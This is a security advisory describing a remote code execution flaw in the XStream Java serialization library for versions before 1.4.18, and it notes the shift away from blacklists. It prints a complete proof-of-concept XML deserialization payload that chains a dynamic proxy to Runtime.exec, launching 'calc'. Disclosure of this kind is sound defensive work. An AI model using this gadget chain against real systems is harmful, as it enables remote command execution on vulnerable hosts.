Remote Code Execution (RCE) Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker that has sufficient rights to execute commands on the host only by manipulating the processed input stream. No user is affected who followed the recommendation to set up XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 no longer uses a blacklist by default, since it cannot be secured for general purposes.

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

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